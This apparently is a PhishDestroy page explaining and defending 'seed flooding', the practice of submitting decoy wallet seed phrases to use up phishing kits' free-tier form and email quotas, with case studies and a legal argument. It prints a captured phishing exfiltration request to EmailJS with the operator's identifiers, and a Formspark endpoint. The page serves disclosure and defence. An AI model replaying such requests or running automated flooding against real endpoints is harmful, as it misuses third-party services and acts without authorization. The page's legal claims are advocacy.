TL;DR: PhishDestroy is an open anti-phishing platform that detects crypto drainer domains, tracks scam infrastructure, and automates takedown requests to registrars. It provides free APIs, real-time threat feeds, and public evidence reports for each flagged domain.
We don't hide it. When PhishDestroy detects an active phishing site harvesting crypto wallet seed phrases, we flood it with valid-format seed phrase entries. This page sets out exactly what we do, why we do it, and why we're not ashamed of it.
Seed flooding is PhishDestroy's counter-phishing method of submitting valid-format but empty wallet seed phrases into active phishing forms from Cloudflare Workers, at 2 submissions per 10 seconds. It exhausts free-tier exfiltration services such as EmailJS and Formspree, so real victims' seeds stop reaching scammers, while abuse reports are filed in parallel.
Imagine you spot a crypto wallet phishing page running paid Google Ads. It looks legitimate and it's getting traffic. Real users are landing on it every few minutes, entering their seed phrases, and losing everything.
You report it to Google, then to the registrar, and you submit an abuse report to the hosting provider. And then you wait.
Meanwhile, the scammer collects victim number 47, then 48, then 49.
The Bureaucratic Gap
The standard abuse reporting pipeline operates on timescales of 5–10 business days. Active phishing sites cause irreversible financial damage in hours. The gap between the two is a structural vulnerability, and scammers exploit it deliberately.
What Is Seed Flooding?
Seed flooding is a counter-phishing technique where valid-format but empty/worthless cryptocurrency wallet seed phrases are automatically submitted into a phishing form at a controlled rate.
Contaminate the Database
Real seed phrases become indistinguishable from fakes. Every entry requires manual verification, and the signal-to-noise ratio collapses.
Exhaust Free-Tier Limits
EmailJS, Formspree, and Web3Forms all have hard monthly quotas. We hit those limits in hours, which cuts off the attacker's notification pipeline.
Break the Collection Pipeline
When exfiltration channels stop functioning, real victims' data goes nowhere, even if they submit their seed phrase.
Generate Research Intel
Flooding reveals infrastructure details, error messages, and rate-limit thresholds we use to build better detection.
Why This Works: The Anatomy of a Cheap Phishing Kit
The vast majority of active crypto phishing sites are copy-paste kits built on free-tier third-party services. This is their biggest vulnerability. For a deeper breakdown see our full investigation.
Data table: Module
Module
Free Tier Limit
Effect of Flooding
EmailJS
~200 submissions/month
Exhausted in hours, stops email delivery
Formspree
50 submissions/month
Disabled almost immediately
Web3Forms
250 submissions/month
Rapidly neutralized
Telegram Bot API
Rate-limited per second
Flooded into timeout loops
Firebase Free Tier
Read/write quotas
Database costs spike or lock out
Observed Result
We have directly observed phishing infrastructure go dark after seed flooding exhausted its notification pipeline. The scammer doesn't know why it stopped working. They just stop receiving data.
Our Technical Approach: Cloudflare Workers, Not Botnets
We use Cloudflare Workers. Requests originate from Cloudflare's own edge network. No residential IPs misused, no botnets, no third-party servers burdened. Only the scammer's data collection system is affected.
The Flooding Flow
Site DetectedActive traffic confirmed
Anatomy AnalysisExfil channels mapped
Worker DeployCF edge network
2 Seeds / 10sControlled rate
Quota ExhaustedAttacker blind
Reporting FiledParallel track
Rate limiting: A strict 2 submissions per 10 seconds per Worker. Not a DDoS. A slow, deliberate, targeted contamination at a scale that makes even modest per-site rates meaningful across dozens of simultaneous targets.
What We Are Not Doing
We are not trying to take down servers. We are making the scammer's workday miserable and their database worthless, with zero collateral impact on legitimate infrastructure.
Live Case Studies: Controlled Contamination in Practice
The operations below are drawn verbatim from our production logs. Domains and provider identifiers are redacted only where publication would aid evasion; HTTP wire captures are unmodified. Both targets were active at time of intervention, had confirmed inbound traffic from paid advertising, and had been independently classified as phishing by ≥ 2 external vendors on VirusTotal prior to any action on our part.
Operational Doctrine
Every seed-flooding operation executes within the same five-principle envelope. There are no exceptions; an engagement that cannot satisfy all five is not run.
PRINCIPLE 01
Public endpoints only
The exfiltration URL and its identifiers are published by the phishing page in client-side JavaScript. We never obtain credentials, brute-force, or escalate.
PRINCIPLE 02
Sub-limit throughput
Request rate is hard-capped below the provider's own published ToS limit. Our profile is indistinguishable from ordinary UGC traffic.
PRINCIPLE 03
Evidence threshold
Target requires ≥ 2 independent vendor hits on VirusTotal plus manual confirmation of the credential-harvesting flow.
PRINCIPLE 04
Parallel legitimate track
Formal abuse reports to hosting, registrar, and the form provider are filed before any flooding begins, with case IDs and full evidence.
PRINCIPLE 05
Full audit trail
All traffic originates from Cloudflare Workers under a signed PhishDestroy origin. Every submission is logged with timestamp, target, and operator ID.
Case 1: Formspark Exfil Endpoint, Monthly Quota Exhausted
checkblochn.pages.dev Neutralized
Threat pattern: wallet-recovery lure ("Dapp Node Sync") exfiltrating 12-word BIP-39 seed phrases to an attacker-controlled Formspark endpoint on free tier. Confirmed paid-ad traffic from two ad platforms at engagement start.
Attack surface
checkblochn.pages.dev (Cloudflare Pages)
Exfil channel
submit-form.com — Formspark form endpoint
Form ID
/32BrdUqfX
Payload field
12-word BIP-39 seed via message
Provider free-tier cap
50 submissions • 1 month rolling
Scammer reset cost
New Formspark account + client-JS edit + redeploy
Operational Timeline (UTC, anonymised to engagement T-zero)
T + 00:00
Ingest — domain surfaced by PhishDestroy crawler from a paid-ad sample. automated
T + 00:12
Anatomy confirmed — form target submit-form.com/32BrdUqfX extracted from page JS; payload shape reverse-engineered. analysis
T + 00:28
VirusTotal: 3 / 95 vendors flag as phishing. Threshold met.
Response: T+06:12 (quota exhausted, endpoint continues to 200 but will not forward)
HTTP/1.1 200 OK formspark-quota: -18 formspark-status: ok
Quota before flood
64
→
Quota after flood
−18
82
Decoy submissions
~5h 06m
Flood duration
0.27 req/s
Avg. rate
~11.5 KB
Outbound payload total
100%
Within provider ToS limits
0
Legitimate requests impacted
Observable impact. From T+06:08 until final takedown at T+19:30 (a 13 hour and 22 minute window), every real victim who reached checkblochn.pages.dev and completed the recovery flow submitted their seed phrase to an endpoint that returned 200 OK but no longer forwarded the payload to the operator's inbox. The phishing page appeared to succeed in the victim's browser (no error, no red flag), which is desirable: a reflexive "it didn't work" reaction often causes users to re-enter the same credentials on the next fake site they find. Here, the interaction terminated with the operator blind.
What this intervention actually bought
A 13-hour protective window for every subsequent visitor to a site that paid-advertising was still actively pushing. The window closed when Cloudflare Pages responded to our parallel-track abuse report, exactly as designed. The flood did not replace the lawful takedown; it covered the interval until the lawful takedown landed.
Case 2: EmailJS Relay, Operator-Published Identifiers
allsyncapp.pages.dev Active Operation
Threat pattern: wallet "sync" lure that emails the victim's entered seed to the operator's mailbox via EmailJS, a legitimate transactional-email SaaS. The phishing page bundles the operator's service_id, template_id and user_id in client-side JavaScript, because without those identifiers the victim's browser cannot complete the POST that triggers the email. Those identifiers are therefore part of the public attack surface the operator has voluntarily exposed.
Attack surface
allsyncapp.pages.dev (Cloudflare Pages)
Exfil channel
api.emailjs.com — transactional-email relay
Endpoint
POST /api/v1.0/email/send-form
Operator-published IDs
service_id · template_id · user_id (extracted from page JS)
Provider free-tier cap
200 emails • rolling month
Hard rate limits (ToS)
1 req / s · 50 / IP / h
Captured submission: payload shape verbatim from the phishing page's own POST
POST /api/v1.0/email/send-form HTTP/1.1 Host: api.emailjs.com Origin: https://allsyncapp.pages.dev Content-Type: multipart/form-data; boundary=----geckoformboundary6a77738bf873975dfc9c8e4a31fa330e _redirect=TECHNICAL.html message=pumpkin foil village coin town skirt mean hour program stage poverty endorse lib_version=3.12.1 service_id=service_t0cgr9v template_id=template_k16demo user_id=furwEG-MZShqSPIGS
Identifier extraction (single-line regex on the phishing page source)
Key doctrinal point. This case is instructive precisely because no endpoint was discovered by us. The operator publishes the three identifiers required to make EmailJS send the seed to their mailbox. Any browser rendering the phishing page possesses them. Our Worker does what the victim's browser does: submits a form with the exact shape and identifiers the page itself instructs. The difference is the payload: the phrase of an empty wallet we generated instead of a victim’s real one.
200
Monthly cap (decoys)
1 / s
ToS rate (we run 0.2/s)
~120 KB
Max monthly payload
0
EmailJS infra burden (within limits)
402 / 429
Provider response when cap hit
Account terminated
Typical outcome of abuse report
Outcome pattern. Once the monthly cap is reached, EmailJS returns 402 Payment Required or 429 Too Many Requests and the template does not send. The scammer's mailbox goes quiet. In parallel, EmailJS Trust & Safety receives a formal complaint with the service/template/user identifiers and a link to our published evidence package. In historical precedent, this results in the operator's EmailJS account being terminated, not rate-limited. The operator must acquire a new EmailJS account, regenerate identifiers, edit the deployed phishing page, and invalidate every existing distribution link. Each rotation is a multi-hour workflow.
Attack-Profile Comparison: What Seed Flooding Is Not
A repeated accusation is that we run "attacks" on phishing sites. That framing collapses the moment you place the actual traffic profile next to the profile of the activities it is being confused with.
Comparison of seed flooding vs denial-of-service, spam, and law-enforcement sting operations.
Dimension
Seed Flooding (ours)
DDoS / L7 flood
Spam submission abuse
LE sting operation
Purpose
Victim protection: fill scammer's exfil quota before next victim
Infrastructure denial of service
Commercial gain / message propagation
Evidence gathering, controlled deception
Throughput
0.1 – 0.3 req/s (below provider ToS)
103 – 108 req/s (saturation-oriented)
Burst / automated high-volume
Single interaction typically
Target
Single exfil endpoint attacker has published
Web server / network tier of a victim org
Contact forms of legitimate sites
Suspect infrastructure or persona
Infrastructure impact
None: provider counters tick within ToS-budgeted behaviour
Service outage, upstream congestion
Inbox bloat, CAPTCHA drift, moderation load
Depends on operation
Legitimate users affected
Zero: phishing forms have no legitimate users
All of them
Form-owner employees / moderators
Avoidance designed-in
Originating identity
Named PhishDestroy Cloudflare Workers (auditable)
Botnets, spoofed sources, reflection
Disposable proxies
Classified infrastructure
Authorisation model
Endpoint is invited: form explicitly requests this input, identifiers are publicly distributed in the page
None: request volume itself is the harm
Bypasses intended use, ignores anti-abuse signals
Statutory authority
Parallel lawful action
Abuse reports filed before flood starts, with case IDs
N/A
N/A
Embedded in the operation
The distinction is not rhetorical. It is measurable.
A seed-flood submission is a single HTTPS POST of ~140 bytes, originating from one Cloudflare Worker carrying our signed origin, at a fraction of the rate the provider itself publishes as acceptable, targeting an endpoint whose identifiers the operator chose to embed in a public web page. That is the entire observable artefact. Every structural element that makes a request an "attack" (unauthorised access, resource exhaustion intent, volumetric saturation, affected third parties, concealed origin) is absent. The legal analysis that follows is not creative advocacy; it is the natural reading of statute once the factual profile is stated plainly.
Legal Analysis: Is It Legal? Is It Ethical?
Submitting data to a public-facing web form, even fake data, is not inherently illegal in most frameworks. We are not accessing private systems, exploiting unauthorized vulnerabilities, or intercepting communications. The scammer built a trap. We are filling it with rocks.
In every case we also report the operator to the form provider, and no provider has ever objected to the decoy phrases we sent.
Legal Disclaimer
PhishDestroy is not providing legal advice, and laws differ between countries. What we do is narrow: we send valid seed phrases of empty wallets that PhishDestroy generates itself and authorizes for this use, and only into forms built to collect seed phrases on confirmed phishing pages. We bypass no protection and put no meaningful load on any server. The only effect is that the form’s quota runs out, so real victims’ phrases stop reaching the scammer.
A scammer running a phishing page has no legitimate interest in receiving only real seed phrases. They have no right to the integrity of their criminal data collection infrastructure.
Our system is targeted, rate-limited, and tied to manual identification processes. We identify, analyze, confirm, and then act.
We have documented cases where seed flooding directly prevented victims from losing funds, because by the time a real user submitted their seed phrase, the scammer's collection system was already disabled.
What Happens to the Scammer's Database?
It becomes useless: thousands of entries require manual verification, and the signal-to-noise ratio collapses. Or it breaks, since Firebase Spark and shared MongoDB instances have hard limits and hitting them has consequences.
Both Outcomes Are Good
Whether the database becomes useless or breaks entirely, real victims' seed phrases never reach the attacker in a useful form. Every unprocessed seed phrase is a wallet that doesn't get drained.
When Do We Activate Seed Flooding?
Data table: Criterion
Criterion
Check
Why It Matters
Active traffic confirmed
Required
Ad platforms or traffic tools confirm real users are landing on the site
Phishing anatomy analyzed
Required
Free-tier exfil modules identified before we flood
Abuse reports filed
Required
We always pursue the legitimate track simultaneously
No takedown within SLA
Typical trigger
No response from registrar/hosting in acceptable time
High-volume / paid ads site
Immediate trigger
Paid advertising means we act without waiting for the bureaucratic track
The Bigger Picture
The crypto ecosystem loses billions of dollars per year to phishing. The defense side has historically been reactive. PhishDestroy exists to introduce proactive interference into this cycle.
Transparency Is Core to What We Do
We are not operating in darkness: we publish our methodology, explain our techniques, and document the phishing kits we analyze. The security community deserves to evaluate counter-phishing methods, not just consume a black-box service.
What You Can Do
Report to Google Safe Browsing, PhishTank, and the domain registrar
Submit it to us (we prioritize high-traffic active threats)